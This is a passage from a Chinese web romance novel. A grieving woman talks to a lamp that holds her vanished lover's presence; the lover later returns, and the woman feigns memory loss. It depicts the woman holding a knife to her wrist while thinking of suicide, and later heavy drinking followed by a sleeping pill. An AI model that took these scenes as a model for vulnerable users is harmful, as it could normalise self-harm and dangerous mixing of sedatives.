孙影和云秋染的工作很忙,见不到面,会经常打电话给她,余简予就更不用说了,恋爱都可以不谈,想二十四小时陪着她,还花了大价钱为她求了一张符。 她的亲情淡薄,不代表没有人在意她,她能感觉到她们真切的关心,她也想好起来。 但是她的情绪已经不属于自己了,像是从身体里抽离出去,她控制不住。 不想让大家过度担心,她在大家面前会装一装,尽量正常,回到只有她一个人的家,她不用再装了。 低落沮丧,麻木地发愣,这段时间她都是这样过的。 进了屋,灯光亮着,程卿言去了浴室洗澡,半个小时后回到客厅,坐在沙发上,静静看着放在身旁的旺仔牛奶,她在想她在听见“姜映”这两个字时,情绪起伏为什么会如此大。 心脏会猛得颤动紧缩,甚至控制不住地留下了眼泪。 “姜映……” 她轻柔地念着这两个字,很轻很轻,在唇舌间呢喃着,好似她力度重一些,这两个字就会在字典里消失一般。 如果消失,就没人能记住这两个字,没人能认识着两个字,她日后会听不见,看不着。 可是这不就是普通的人名吗,她认识的人里没有叫姜映的,她的反应为何会这么剧烈。 就像她低血糖晕倒那日,她梦见了一个女生,醒来后她记不清对方的声音样貌,会为此而不是悲伤,她心口在疼,流了眼泪。 种种迹象好似都在告诉她,她忘掉了对她而言很重要的人,她在为此而感到痛苦。 她能忘了谁? 她并没有失忆,过往的所有记忆都在,她周围的人很正常,没人觉得生活中少了一个人。 程卿言没给别人说过她这种猜想,说了只会让大家更担心她,担心她的精神状况变得更糟糕了。 她想找到这个人,但又不知道去哪找,难道这个人不在这个世界吗? 程卿言眸光晦暗,视线落在了放在茶几上放着的水果刀上,片刻后她拿了起来,安静地挽起袖口,看着手腕上淡蓝色的血管。 划下去,她的痛苦就能结束了。 划下去,她也有可能找到她想见的人。 锋利的刀刃泛着光,慢慢靠近手腕,冰凉的触感碰到了温热的肌肤,正要划下去时,头顶的灯猛得闪了起来,电流声滋滋滋地响着。 程卿言回神,抬眸看着闪烁的灯,片刻后叹了一口气,放下了刀,她刚才想做什么,结束生命? “别闪了,眼睛不舒服。” 灯闪慢了些。 程卿言问:“前几天去哪了?” 灯说不了话,只能闪来闪去。 程卿言抱怨道:“以后不准连续消失好几天。” 灯闪了两下,像是在说:好的 程卿言嘴角轻轻扬了扬,难得不是强颜欢笑,由衷地笑了一声。 这家伙是属狗的吧,干嘛那么听她的话,好像见不得她难受一般,在逗她开心。 既然灯能闪了,那是不是说明那晚她用的那个白色小物件也恢复了? 程卿言回了卧室,将其拿了出来,开了一档,嗡嗡嗡地震动声响起,静静观察了一会儿,并没有加速迹象,思忖片刻她道:“快一点。” 物件像是能听懂一般,瞬间快了几秒,不是幻觉,虽然短暂,她的掌心能明显地感觉到震幅的变化。 程卿言微微惊讶,还真能听得懂,她抬头看灯:“你操控的?如果是,就闪几下。” 话音落下,壁灯立马闪了起来。 程卿言静了几秒,直直地看着闪得很欢的壁灯,呵了一声:“那晚我在用的时候,这玩意突然加速,也是你干的?” 问句,用的确是陈述语气,声音也冷冷的,带了些温怒。 壁灯立马停止闪缩,安分下去。 虽然都是幻觉,但程卿言依旧有点生气,她在心里已经把它当做朋友了,这家伙灯居然对它做这种事。 荒谬。 可恶。 成何体统。 “啪”的一声响,程卿言直接将灯关掉了,上床躺着,扯过被子盖住自己,不再同灯说话。 生了会儿闷气,又觉得自己有点莫名其妙,怎么像谈恋爱似的,她在生哪门子的气。 一切都是幻觉。 退一万步说,即使不是幻觉,这家伙不是人,她也没必要生气。 程卿言呼了一口气,怒气褪去,理智了许多。 这家伙能控制灯的闪烁,也能控制用于自娱自乐的玩具,是不是说明一切电器都能控制? 滋滋滋的电流声,只要是能插电的东西,都可以? 片刻后程卿言坐了起来,开灯,看着壁灯道:“闪三下,说对不起,给我道歉。” 壁灯迅速闪了三下,顿了几秒,再闪三下,连着闪了很多个三下,很识趣地说了很多声对不起。 “好了,原谅你了,”程卿言挑了挑眉梢,“我有事问你,家里只要是能充电的东西,你都能控制吗,如果我说的对,你闪一下,不对就闪两下。” 壁灯闪了一下。 都可以控制,那为何几乎都是以灯的方式和她沟通,电视音响这些不是更方便吗,程卿言思考着,片刻后有了一种猜想。 灯的能耗低,是不是这家伙只能负载得动灯,若是控制其它东西,就带不动了。 上次控制了玩具后,就直接消失了,直到今夜才出现。 因为能量耗尽了? 程卿言理了理脑子里的想法,用这家伙能回复的语句问道:“你的能量有限,如果控制其它东西,会让你消失?” 壁灯快速闪了一下。 居然真是这样,程卿言呼口气,对它说:“那你以后不要控制别的,一直控制灯就行了。” 她不想回家之后见不到它。 壁灯又闪了一下,程卿言当它答应了,轻轻笑了一声,她没有困意,这一晚对着壁灯说了很多话。 说她内心的空虚,痛苦,她不知道她怎么了,她告诉壁灯,她觉得她忘了一个很重要的人,但她不知道那人是谁,她记不起来。 她还说她想结束这一切,结束了就不会痛苦。 壁灯听到这里时,迅速闪起来。 程卿言瞥了它一眼:“你激动什么,我这不是好好的嘛,安静点。” 壁灯不听,还在疯狂闪着。 “行了行了,我以后会积极生活的。”程卿言说了这话后,灯安分了,没有一直闪下去了。 如果她和朋友说这些话,朋友会担心她,但在这家伙面前,她没有任何顾顾虑,什么都愿意告诉它。 若是有外人在,瞧见此刻的画面,真的会觉得她已经疯掉了。 坐上床上对着一盏灯自言自语,而灯也不太正常,时不时闪几下,直到夜深了,说话声才消失。 程卿言今夜没吃安眠药,话说得太多,心里舒服了些,躺下后没多久就睡着了。 壁灯太亮,睡前她将其关掉,换成了温馨暖黄的夜灯。 微弱的光柔和地落在她脸上,如同恋人怜爱的眸光,轻轻地吻着她。 * 灯恢复闪动后,程卿言的状态慢慢好了起来,没有了要结束生命的念头,睡前会聊天,累了就睡觉,食欲也比之前好了一点。 每天她都准时下班,没有像之前那样一直留在公司加班,会期待回家,脸上的笑容也变多了。 傍晚,处理好工作,她正准备离开,余简予叫着了她:“今晚我们一起吃顿饭呗,去我家,我下厨。” 程卿言问:“有什么事吗?” 余简予疑惑地看她一眼:“我们一起吃饭还需要理由啊?” 程卿言犹豫几秒:“下次吧,我想回家。” 她昨晚答应了那家伙,今天早点回去,她不想失约。 余简予知道她近期很恋家,下班就往家里跑,周末也待在家里不出门:“那我去你家,用你家的厨房做饭行了吧,不留宿,我吃了就走。” 程卿言想了想,摇头:“不了,明天中午再约吧,今天就算了。” 余简予纳闷:“你到底为什么不让我去你家?” 程卿言和她解释不清楚,也不知道怎么解释。 “你老实说,你家里真没藏人吗,你最近的状态真的很像谈恋爱了,”余简予看着她,“你别瞒着我了,你还不放心我吗,天塌下来我和你一起扛着。” 前段时间她担忧对方的精神状态,近些日子,对方的精神状态有了好转,她又开始担忧对方是不是谈了什么不该谈的人,比如说已婚人士等等。 程卿言愣了几秒:“我谈恋爱了?” 余简予点头:“对。” 程卿言:“我和谁谈?” 余简予:“我怎么知道,你一直把人藏家里,又不让我见一见。” 程卿言:“家里真没藏人,我骗你做什么,你相信我。” 余简予见她不像说谎:“真的?” “真的。”程卿言肯定道。 余简予:“好吧,信你一次。” 程卿言端起杯子抿了口温水,瞥了眼时间,再聊下去回家的时间就得延迟了,果断说了再见,起身离开了公司。 余简予看着她的背影,眼里满是困惑,家里又没人等,为什么每天晚上都那么积极的回家,回家干什么。 她轻叹一口气,不想了,只要对方状态能好起来,随便做什么都行。 * 夜幕降临。 四月上旬,碚城的天气逐渐温暖。 车窗开了一道很小的缝隙,夜风吹了进来,微微凌乱了柔顺的发梢,发梢飞舞,遮挡了视线。 程卿言并没有理会,坐在车上走神地想着事,余简予为什么说她近期的状态像谈恋爱了? 对方不可能胡说,能说出这样的话,一定有依据。 恋爱中人是什么状态? 她不清楚,她没谈过恋爱。 片刻后她拿出手机,在网上搜索着恋爱的表现。 如果喜欢一个人,会经常想她,想见到她,在她面前是坦诚的,愿意向她诉说内心不为人知的痛苦,她会让你感到安心放松等等等。 程卿言挨着看下去,眉心轻颤,神色也越发茫然,不由自主想着近期她和那家伙相处的点点滴滴。 网上说的这些表现她都有,她喜欢上那家伙,陷入恋爱中了? 心跳逐渐加速,快到让她有些受不了,脸颊也开始发热,体内像有一团火在燃烧,在她空虚荒凉的内心迸出火星子,如同绚烂的烟花绽放,灯火通明。 程卿言手按在心口处,感受着自己异常的心跳,一下下地跳动着,每跳一下,她脑子里就出现一秒灯光的闪烁。 如果爱的表现是这样,她可能真的恋爱了。 即使那家伙只存在于她的幻觉中,即使那家伙不是人,没有身体,无法和她拥抱,没有声音,无法同她耳鬓厮磨,她也喜欢上它了。 真的疯掉了。 程卿言眼睫颤动,侧眸看了眼窗外掠过的万家灯火,静了几息,消化着她喜欢上那家伙的事实,心跳一直没慢下来。 她不是纠结的人,很快就整理好混乱的思绪,疯就疯吧,她不介意那家伙是什么,只要是她喜欢的,她都愿意接受。 程卿言深呼一口气,关上车窗,发梢安分下去,她嘴角扬起,轻轻笑了一声。 难怪她如此喜欢回家,原来是心动了。 这个点是下班的晚高峰,路上有些堵,正常情况下两分钟就能通过的高架桥,此刻得开十多分钟才能通过。 程卿言看了眼时间,等得有些急了,早知道就不和余简予聊天了,耽误时间。 半个小时后,车开进了月泊林,程卿言开门下车,步伐轻松愉悦地回了屋。 屋顶的灯光距离她太远,且是固定的,位置无法移动,昨天她买了一盏灯光柔和的台灯,很小巧,能够挨着她。 她坐在沙发上,亮着的台灯放在身旁的小茶几上,她眼眸含笑看着正对她闪着灯光的家伙,笑音道:“见到我很开心?” 之前约定好的,在回复她时,闪一下是肯定,两下是否定。 台灯快速闪了一下。 程卿言伸手抚了抚台灯的外轮廓,慢悠悠和它聊着白天在公司发生的事。 很快,定的晚饭到了,台灯陪着她吃了饭,饭后休息片刻,又陪着她处理了工作。 程卿言走到哪,就把它待到哪。 拉面丸子瞧着主人带着一盏台灯,对着台灯说了很多话,小小的脑袋大大的困惑,主人好喜欢灯啊,就像它们喜欢玩球一样。 主人陪台灯的时间比陪它们的时间多,小狗心里羡慕,但并没有嫉妒,因为主人和灯说话时是笑着的,能让主人开心的灯就是好灯。 拉面丸子趴在狗窝呜呜呜叫了几声,转了转眼珠,看着主人带着台灯回了卧室。 将近十点,到了程卿言洗澡的时间,她拿了睡裙进了浴室,没有急着脱衣服,瞥了眼亮着的灯光,有些犹豫要不要让这家伙回避一下。 虽然她早就被这家伙看过了,但那会儿她并没有意识到她喜欢它,她不会觉得别扭。 思忖片刻还是没有让其回避,每日相处的时间本来就不多,不想浪费。 程卿言抬指,缓缓褪下衣物,白皙细腻的肌理一寸寸出现,灯光毫无遮挡地撒落在她身上时,她咬了咬唇,耳畔微红,莫名觉得有些羞耻。 灯光在这时突然闪了几下。 程卿言嗔了它一眼,这种时候闪什么闪,不知羞。 她快速跨腿躺进了浴缸,水波荡漾,温水起了遮挡作用,她耳畔的红才消了。 她不是害羞的性子,对待性也很坦诚,即使她喜欢这家伙,按理说她不该害羞才对,之所以会如此,是因为暴露的只有她一人。 灯光撒落全身,将她一览无余,而她连这家伙是什么都不知道。 不明不白地看了她,是不是得对她负责。 可是这家伙说不了话,无法开口对她表白,她们如何才能确定关系,难不成让她主动开口吗? 也不是不可以,但不是现在,她得做做心理准备。 程卿言指腹拨动着水波,眸光随着荡漾的波纹轻轻晃动着,在为之后做打算。 余简予已经起了疑,日后肯定会发现,她不可能将这家伙藏一辈子,而且余简予是她最好的朋友,她也不想隐瞒她。 但若是将这家伙介绍给余简予认识,余简予肯定会吓到,担心她的精神状态。 该如何处理这件事? 程卿言轻轻叹了一口气。 叹息落下,灯光随即闪了几下,像是在问她怎么了。 程卿言抬眸,遗憾道:“你若是能有人类的身体就好了。” 闻言,灯光暗了几秒,接着又闪了几秒,表达的意思有些复杂,程卿言看不懂,轻叹一声。 一时半会儿想不到解决的法子,她也不过多纠结,专心地泡澡,时不时说几句话,二十分钟后穿好衣服,回了床上躺着。 有了点困意,程卿言说了句晚安,灯光闪两下回应她。 她嘴角微扬,下巴蹭了蹭被子,阖上眼睫时忍不住暗示道:“我有了喜欢的家伙,想恋爱了……” 她喜欢的家伙不是人,可能什么也不是,但她就是喜欢了,即使不能用人类的声音回应她,只要处于同一个空间,能感受到这家伙的存在,她就会很安心。 莫名安心。 没吃安眠药,在柔和灯光的陪伴下,安稳地睡了一夜。 翌日清晨。 暖阳落于屋内,她缓缓睁开眼,侧眸看着台灯,睡眼惺忪道:“早。” 等了几秒,灯光没有闪动,她以为自己的声音太小,对方没听见,重新说了一遍早安,灯光依旧没变化。 程卿言拧了拧眉心,快速掀开被子坐起来,又说了几句话,没有得到任何回应。 卧室不行,她又去了客厅,浴室,书房,影音室,健身房,家里的灯她全打开了,没有一盏回应她。 又离开了吗? 不是没有操控别的吗,没有过分消耗能量,为什么会离开? 是被动离开,还是主动离开? 程卿言靠着墙,脸上的神色暗了下去,缄默地站着。 这次要多久才会回来? 她不知道。 只能等待。 日子如常,看起来没有任何变化,可她知道是有变化的,家里又恢复了安静,如同一潭死水,她的心随之沉了下去。 烟花落下,火星熄灭,唯有空寂。 她不爱回家了,害怕等待她的又是死寂,开始在公司加班,加班到很晚才回去,回到了半死不活的状态。 余简予觉得她这种状态是失恋了,用更准确的语言形容,是被渣女抛弃了。 可是程卿言没恋爱啊,虽然她前不久怀疑过对方家里藏人谈恋爱,但那也只是她的猜测,对方也否认了。 余简予愁得很,是不是她去庙里求的符有时效性,只能管一段时间,时间一到,对方又中邪了。 这样下去不行,她得再去一趟寺庙,多求几张回来。 程卿言不知道她心中所想,若是知晓,肯定会制止她花冤枉钱,但目前她自顾不暇。 又开始对一切感到麻木,空虚痛苦笼罩着她。 三天,五天,一个周,半个月。 一天天等下去,转眼到了五一假期,在这期间家里的灯再也没闪过。 程卿言这段时间过于勤奋,每日加班,所有心思都用在了工作上,工作都处理得差不多了,五一假期她已经没事做了,去公司也是闲着。 云秋染在剧组拍戏,没在碚城,余简予约她一起去云秋染拍戏的城市玩,顺便探班聚一聚。 程卿言不想去,提不起兴趣。 她不想离开碚城,也不想回家,白天在公司待着,傍晚会在小区附近逛一逛,突然心血来潮,开车去了一趟秋云山。 风景依旧好,她静静看着日落,看着碚城的夜景,依旧想不通大年初一那天早上,她为何会因为一场普通的日出而感到开心。 真的是在为一场日出而开心? 没有留宿,晚上开车回了家。 夜已深,她洗了澡,毫无困意,开了一瓶红酒,如同喝水一般,一杯接着一杯,麻木地喝着。 眸光落在看了无数次的灯光上,不知是喝得太多,还是心里难受,眼尾泛起了红。 她酒量很好,如此不知节制地喝着,脑子也逐渐昏沉。 “哐当”一声响,酒杯落地,玻璃渣四溅,她恍惚地附身去捡,手被割了一道口子,鲜血渗出,可她感觉不到任何疼痛,平静地了一眼,拿湿巾差了血迹,回了卧室。 吃了一颗安眠类药物,很快陷入了沉睡中。 卧室寂静无声,黑暗笼罩。 枕边放着青竹摆件,程卿言翻身时碰着了,摆件往外滚动,滚出了床铺往下掉落。 几秒过去,并没有发出落地的声响,一只手将其接住,青竹摆件平稳地回到了床头柜上。 程卿言红着的眼尾溢了眼泪,无意识地呢喃着:“什么时候才能回来……” 柔软的床铺上多了一份重量,微微下陷了一些。 睡眠中的程卿言感觉她跌入了温暖的怀抱,有人抱住了她,在吻她的眼眸,鼻梁,额头。 吻着她的耳朵说对不起,说想她,爱她。 一切都太柔情,如温水一般将她轻轻托起,她这一觉睡得很舒服,舒服到她不想醒过来。 程卿言不知道她睡了多久,她的脑子已经醒了,但她没有立刻睁眼,静了一阵儿,才缓缓睁睁开眼眸。 暖和的光出现在视野里时,一张青涩单纯的脸也出现在她眼前。 “姐姐。” 女生柔情地叫着她。 程卿言淡然地看着女生的脸,皱眉问:“你是谁?” 第94章 回家 回家 第九十四章 姜映离开了多久? 她自己也有些不清楚了,时空局和真实世界的时间流逝并不相同,每个世界的时间流逝也不一样。 这段时间她一直在做任务,去往任务世界不停地做任务,不断积累积分,原本只要一千万积分,就能兑换愿望了。 因为上一次的逃离事件,时空局对她做出了处罚,会从她的积分中扣除五百万,她这一次得攒够一千五百万积分才可以兑换愿望。 但是,姜映放心不下程卿言,过度想念,再三斟酌后,她使用了部分积分兑了一些等级低的小愿望,通过电流回来了几次。 所以她就得做更多的任务,需要更多的积分,才能真正回来。 只是想回来看看,却看见了令她触目惊心的画面。 程卿言瘦了很多,精神状态很糟糕,沉默寡言,甚至出现了自残的行为,过得一点也不好。 她在这个世界留下的所有痕迹都被抹除了,女人已经遗忘了她,她也知晓女人的性子,那么热爱生活,积极乐观的人,为什么过得如此痛苦? 姜映的心揪了起来,庆幸她使用积分回来看了看,不然后果不堪设想。 害怕女人出事,她一次又一次地通过电流回来,女人也发现了她的存在,不记得她,但并不害怕她。 程卿言真多很聪明,很快就猜到了她回来需要消耗一些能量,这些能量只能让她以电灯闪烁的形式存在,如果是用其它方式,她会很快消失,会使用掉她很多积分。 若是一直消耗下去,她就无法攒够许愿复活的积分。 姜映只有两次是以别的形式出现的。 第一次是女人三十岁生日那晚,她在电视屏幕上闪烁出了生日祝福,第二次是女人在自娱自乐时,她操控了女人手中的物件。 能量消耗过快,这两次之后她都会消失一段时间。 之后她就不敢这样了,只以灯光的形式陪伴着,只要对方在家,她都会陪伴她。 可是程卿言在家的时间越来越多,她回来的次数也得跟着多起来,不仅要花掉积分,而且去别的世界做任务的时间也变少了。 积分逐渐入不敷出。 女人的状态也好了起来,应该可以减少陪伴时间,离开一段时间,可是她舍不得,犹豫不决的那一晚,女人居然说有了喜欢的家伙,想谈恋爱了。 姜映瞬间慌张。 谁要抢她的老婆,酸意止不住地往外冒。 她决定不再拖下去,若是她回来迟了,她可能就得做第三者了。 离开,回了时空局专心做任务,重新攒积分,昼夜不停,在昨晚结束了最后一个任务,攒够了一千万。 她回来了。 程卿言不是世界女主,姜映本就是这个世界的人,即使因为她第一次的逃离行为,让一些细节发生了变动,但这些变动和世界女主无关,世界的稳定也不会受到影响。 因此她可以回来,只是这个世界上不会有苏裕的存在,没有人知道到苏裕,她只能是姜映。 无论是谁,只要能到女人身边,她就心满意足。 复活愿望生成,时空局核实,积分清零,她便正式离开的时空局,1020的工作日志结束封存,她可以想正常人一样活着了,身上的所有特殊现象也会消失。 在姜映回来的那一瞬,她之前在这个世界上留下的痕迹也自然会恢复,所有人都会记起她,就像她从未离开过一样。 至于她消失的这几个月,因为和世界女主没有任何牵连,所以也不重要。 这个月大家对她的记忆会自然而然变得模糊,时空局会填补一些空白,不会知道她离开过,她之前本来就是安静的人,不爱和人联系,不会显得突兀。 终于回来了,姜映抱着失而复得的爱人,吻了一遍又一遍,颤动的眼眸中全是心疼与怜爱,在女人耳边说着对不起久等了,她不会再离开了。 姜映已经很久没休息过,心有了归宿,敌不过困意,闻着令她心安的味道,沉沉地睡了过来。 再次醒来时,她是恍惚的,害怕这一切是她的一场梦,梦醒之后,她又回到了程卿言去世那一年。 她守着墓碑,在墓碑前沉睡,醒来后瞧见不是鲜活的人,而是碑上的照片。 缓了很久,反复确认,悬着的心才安稳下了些,怀里的人是真实的。 她爱的人真的回来了。 是柔软有温度的,不是冰凉坚硬的石碑。 姜映红了眼眶,无声地笑了笑,等着女人醒来。 程卿言昨夜喝了很多酒,又吃了安眠类药物,会睡得比较久,她没有出声叫醒她,看了会儿女人的睡颜,片刻后将耳朵贴在女人的心口处,听了会儿女人的心跳。 鲜活,充满希望,有无限可能。 姜映伸手摸了摸女人的腰肢,前不久以灯光的形似出现时,她就知晓女人瘦了,此刻真实地触碰着,才感受到女人到底瘦了多少。 无尽的心疼涌了出来,如果她再努力一些,早点回来,对方就不会受那么多苦了。 得尽快给女人补回来。 姜映轻柔地吻着女人的眉眼,又吻了吻女人的唇,如此等了几个小时。 瞥了一眼壁钟,已经下午一点,在犹豫要不要叫醒女人时,恰好瞧见女人的眼睫轻轻颤了颤,应该是要醒了。 久别重逢有些紧张,掌心冒了汗,心跳也在加速,姜映深呼一口气,静静等着,等了将近两分钟,女人还没睁开眼。 不应该啊,难道还没醒吗。 困惑之际,女人睁开了眼眸。 姜映含笑看着她,想叫“阿卿”,最后还是没这样叫。 在她是苏裕时,她们同岁,女人只比她大了一个月,她们十八岁就在一起了,二十五岁结了婚,三十岁分别。 因此她很少叫姐姐,偶尔在床上亲密逗弄时会叫一叫,多数时候她都是叫阿卿,叫了十多年。 她习惯叫阿卿,但女人并不知晓从前的事,也没有听过她叫阿卿,肯定更喜欢她叫姐姐。 “姐姐。” 姜映的声音有些颤抖。 分别了那么久,她终于能够以如此近的距离抱她,唤她。 在女人睡觉时,她想了很多种对方见到她时会出现的反应。 可能会热泪盈眶,会紧紧抱这她吻她,可能会怀疑自己在做梦…… 唯独没有想过女人会不记得她。 程卿言眉心拧着,看她的眼神冷漠又冰凉:“你是谁?” 姜映没反应过来,直直地愣了几息,不敢相信自己听到的,确认道:“你……不记得我了?” 程卿言看着她,不耐烦道,“再不把你放在我身上的手拿开,我不敢保证接下来会发生什么事。” 姜映呼口气,暂时收回手,坐起来再一次道:“你真的不记得了吗,我是姜映。” 程卿言像看神经病一样看着她:“姜映是我的谁,我需要记得她吗?” 姜映想说她是她老婆,但这是她是苏裕时和女人的关系,如果这样说,她觉得女人会给她一巴掌。 她又想说她的女朋友,但在离开前,她的表白并没有成功,还不能算是女朋友。 怎么搞的,她居然无名无分。 到底哪出了问题,女人为什么会不记得她,只有女人不记得,还是所有人都不记得。 姜映呼了一口气,快速解释:“我叫姜映,是你喜欢的人,我也很喜欢你,我们两情相悦。” 程卿言呵了一声,一脸不信地看着她。 姜映担心她赶她出门,或是报警抓她,脑子飞速运转,瞧见了女人放在一旁的手机,快速拿起来,输入密码解锁。 “你看,我知道你的手机密码。” 不仅如此,她还点进微信,在搜索栏里输入“姜不行”这三个字,界面里跳出了她的微信。 女人好友里面有她,证明她在这个世界的痕迹已经恢复了。 她点进微信,翻出了她们之间的聊天记录,递给女人:“你看吧,这是我们的聊天记录,我们真的认识。” 程卿言接过手机,低垂着头,指腹在屏幕上滑动,安静翻看着。 姜映看不见她的神情,她也没一直傻坐着,起身去了一趟衣帽间,她之前穿的衣服也在,有几件还是女人亲自给她购置的,她拿着去了卧室。 还有很多和女人同款的生活用品,她爱看的书,她们的合照等等。 这套房子里有很多她的痕迹,都能证明她们的关系很亲密,她挨着拿去了卧室,让女人看看。 “行了,别拿东西进来了,”程卿言颤睫,看着这些东西,片刻后道,“我相信你说的是真的。” 姜映眼睛一亮,还没来得及说话,女人继续道:“但是我确实不记得你,至于你说的我喜欢你,我没有这种感觉。” “聊天记录我也翻了,我有个疑惑,为什么我们的聊天记录停留在四个月前?” 这件事说起来比较复杂,尤其是在对方还不记得她的情况下,一时半会儿也说不清楚,对方听了也不一定相信,姜映在思索着该如向她解释。 程卿言耐性不多,等了二十多秒,对方没说话,她就不想等了:“算了,不重要,我也不是很想知道。” 睡了那么久,她已经很饿了,没理会站在一旁的人,起身去了浴室洗漱。 昨夜喝了酒,睡前没洗澡,身上酒味比较重,她打开淋浴头洗了澡,十多分钟后穿好干净的睡裙,刚走近客厅便闻见了食物的香味。 餐桌上摆着冒着热气的食物,做法简单,但卖相和味道都很好。 姜映解开围裙走了过来,柔声道:“坐下吃一点吧。” 程卿言没动,看了她两眼,淡淡道:“你不觉得,未经我允许,私自在我家里走来走去,是很失礼的行为?” 女人的语气很冰凉,看向她的眼神也很冷漠,如同在看陌生人一般。 姜映抿了抿唇,眼眸闪过些难受,很快调整好,呼口气耐心道:“对不起,我下次不会了,用之前一定会问问你,可以吗?” 程卿言倒也没说什么,嗯了一声,入座拿起勺子,喝了几口粥,又吃了点配菜。 很久没有坐在一起用餐,姜映有些期待地问道:“味道还行吗?” 程卿言:“一般,能吃。” 啊…… 姜映眼眸暗了下去,对方从前很爱吃这样的食物,不记得她了,怎么连口味也变了,有些难过,食不下咽,吃了几口变放下了碗筷。 程卿言瞥了她一眼,没有理会她,安静地吃着饭,吃得差不多时才道:“你说我以前喜欢你?” 姜映点头:“对,很喜欢。” 程卿言:“我翻了聊天记录,我们成为好友不到一年,认识的时间很短,而且前四个月一次也没联系,所以我们应该没有确认过关系,对吧?” 姜映呼口气,不想欺骗她,嗯了一声:“但是我们什么事情都做过了,都知道彼此的心意,只是中途出了点意外,才没确认关系。” 为了证明自己所言非虚,她拿出手机给余简予打了电话,按了外放,嘟嘟嘟声音响起时,心里有些紧张,万一余简予也不记得她是谁,该如何是好。 片刻后电话接通,电话那边道:“喂,姜映。” 姜映松了一口气,还好记得她,她道:“简予姐,我有点事想问你。” 余简予道:“你说呗。” 姜映问:“程卿言是不是很喜欢我?” 余简予笑了一声:“当然啊,谁看不出来她喜欢你,你怎么问这个,你们吵架了?” “没有吵架,就是想问一问。”姜映没有多说废话,道了谢后挂断了电话。 余简予是程卿言最好的朋友,余简予说的话,对方肯定会相信,人证物证都有了。 程卿言听了她们的对话,她问道:“所以呢,你想表达什么,我们从前很相爱,我现在不记得你了,应该给你道歉?” 姜映:“我不是这个意思,我只是……” 程卿言:“只是什么?” “只是想让你知道我说的都是真的,”姜映看着她,“姐姐我……” 程卿言打断:“别叫我姐姐,听起来很奇怪。” 连姐姐都不能叫了,姜映心里酸涩,到底是哪出了问题,女人为什么不记得她,难道是因为她用做任务获得的积分给女人兑换了健康,她也给女人说过时空局的事,所带来的副作用? 即使不是世界女主,对世界的运行毫无影响,也会有副作用吗? 姜映不是很确定,按理说是不会受影响的,一切都会恢复如初,但女人就是忘记了。 是短暂忘记,还是永久忘记? 她想继续和她聊一聊,试试看能不能想起一些,但程卿言的手机铃声响了,起身去了阳台接电话,她看了会儿她的背影,苦恼地叹了口气,去收拾厨房了。 做的食物比较简单,两个人用餐,碗筷也少,正常情况下用不了几分钟就能收拾好。 姜映心里有事,有些走神,哗啦啦的流水声响着,速度比较慢。 虽然有点沮丧,但是她不能慌乱。 对方已经忘记她了,她得接受事实,既然对方能喜欢她一次,喜欢她两次,那也能第三次喜欢上。 程卿言能够健康的活着,她可以重新回到这个世界,她们能重逢,于她而言已经是最大的幸事了,更难受的事情她都经历过,不该因为这点小事而泄气,得打起精神。 大不了她重新追求,努力让对方再一次喜欢上她。 姜映垂眸,瞧了会穿梭于指缝间的流水,关掉水龙头,回了客厅。 程卿言已经打完了电话,身上的睡裙也换成了外出的衣服,衣裙比较修身,勾勒出曲线,化了妆,本就天生丽质,此刻瞧着更是迷人。 走进一些,还能闻见她身上淡淡的香水味,姜映心口热热的,不由自主滚了滚喉咙。 程卿言道:“我要出门了。” 姜映眼眸颤动,满眼都是女人,站在原地哦了一声。 程卿言瞥了她一眼,蹙眉道:“你想一直留在我家里?” 虽然是问句,但并不是在询问,而是在赶人,姜映听出了她的意思,走就走,对方不在家,她留在这也无济于事。 “我这就走。” 程卿言嗯了一声,换鞋出门,姜映跟在她身后,耐性问道:“你要去哪?” “相亲。” 程卿言拉开车门,坐上驾驶座,这几个月她喜欢独处,只要是私人行程,她几乎都是自己开车,车技已经练得很好了。 话音落下,但车门却关不上,被人拦住了。 alpha的力气很大,她用力拉了几下车门,没有任何用。 于是程卿言松开手,侧眸看她:“你做什么,我得出门了,放手。” 姜映不听她的,难以置信道:“你要去相亲?” 程卿言:“不行吗?” 当然不可以,女人是她老婆,怎么能去相亲,女人不是只接受她的靠近吗,除了她之外的alpha,女人都不愿意接触。 程老太太安排的? 她知道程卿言的性格,即使是长辈安排,只要不愿意,没人能强迫她。 为什么要去相亲? 突然想到了她作为电流存在时听见女人说心里有了喜欢的家伙,想谈恋爱了。 姜映深呼一口气,嫉妒又可怜道:“能不能不去?” “不去?” 程卿言双手环胸,淡淡道:“即使我以前喜欢你,那也是以前的事,我们没有确定关系,我无需对你负责。” “我现在不记得你,懂什么叫不记得吗,你对我而言就是陌生人,你没有资格过问我的事。” “你凭什么不让我去相亲?” 姜映抿了抿唇,眼尾泛起了红,退一步:“我能和你一起去吗?” 她得看看是谁那么可恶,趁她不在,勾搭她老婆。 程卿言:…… 无语地笑了一声。 懒得多说,在女生松手时,她快速关上车门,驾车离开了。 车速不快不慢,从后视镜看了看女生,距离远了,已经看不清女生脸上的神情了。 方才听见她说她是陌生人,她要去相亲时,眼睛都红了,这会难过得哭出来吗? 程卿言深呼一口气,十分心疼,很想倒回去抱着哄哄。 但也只是想一想,她并没有那样做,还不是时候,她得好好惩罚这坏东西。 她没有忘记对方,所有的记忆都回来了,在她睁开眼那瞬,过往的点点滴滴都清晰地浮现在她脑子里。 她们是如何认识的,怎么爱上的,又是如何分开,全部都记得。 因此她也记得这坏家伙在离开之际,居然想瞒着她,如果不是她发现了异常,对方会悄无声息地离开。 在她发现后,质问对方时,对方居然说希望她忘记掉,未来不要记住她。 忘掉。 呵。 可真是为她着想。 什么都不想留给她,人走了,回忆都得收回来。 当时姜映能留下的时间不多了,浪费不起,每一秒都很珍贵,因此没有把时间用在生气上。 但心里的怨气一直存在。 爱她,要和她过一辈子,都得把她放在平等的位置上,无论什么困境都得一起面对,她不是脆弱的瓷器,瞒着她算什么事。 她爱姜映,接受不了姜映在不和她商量的情况下,为了她而牺牲自己,她会心疼担忧。 如果不改,她会提心吊胆,害怕对方再一次离开。 对方不在,即使她活着,也是痛苦的。 程卿言得教训她,让她长长记性,让她知道她们是一体的,未来不能再做这种事情了。 卡宴开出月泊林,窗外下起了雨,程卿言往前开了一会儿,察觉到有辆出租车一直在跟着她。 除了是姜映,还能是谁。 怕对方跟丢了,程卿言放慢了车速,时不时瞥一眼后面的车跟上没,半个小时后,到了目的地。 出门确实有事,但不是相亲,有个合作要谈,得来见见合作人。 合作人姓昆,和她年纪相仿,是个beta。 位子原本定在了包间,她主动提出换到了大厅靠窗的位子,今日谈的内容不涉及机密,昆女士没有反对,坐哪都一样。 谈完合作后,又闲聊了一会儿。 天色渐渐暗了下去,程卿言说着话,眸光时不时看向窗外。 昆女士好奇道:“外面怎么了?” 